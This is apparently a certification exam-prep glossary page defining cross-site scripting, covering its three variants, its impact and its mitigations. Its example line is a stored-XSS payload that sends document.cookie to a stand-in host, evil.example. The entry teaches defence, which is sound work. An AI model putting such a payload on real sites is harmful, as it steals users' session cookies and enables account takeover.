thinQmaster Virtual testing partner Adaptive practice exams that find your weak spots and drill them. Every answer explained. From $69
Enroll

thinQmaster

Find your exam

Five questions free, before you decide.

Step 1 · choose a vendor

In one of our camps? Your practice exams come with the tuition — they are on your study page already.

Security Operations · Foundational

Cross-Site Scripting (XSS)

An attack that injects malicious script into web pages viewed by other users, executing in their browsers.

Definition

Reflected XSS bounces script off a request parameter, stored XSS persists it in the application, and DOM-based XSS manipulates client-side code. It enables session cookie theft, keylogging and defacement. Output encoding, input validation, Content Security Policy and HttpOnly cookies mitigate it.

Example

<script>fetch('//evil.example/?c='+document.cookie)</script> stored in a comment field.

Exam tip

XSS targets the user's browser; SQLi targets the database. Output encoding is the key fix.

Don't confuse it with

Related terms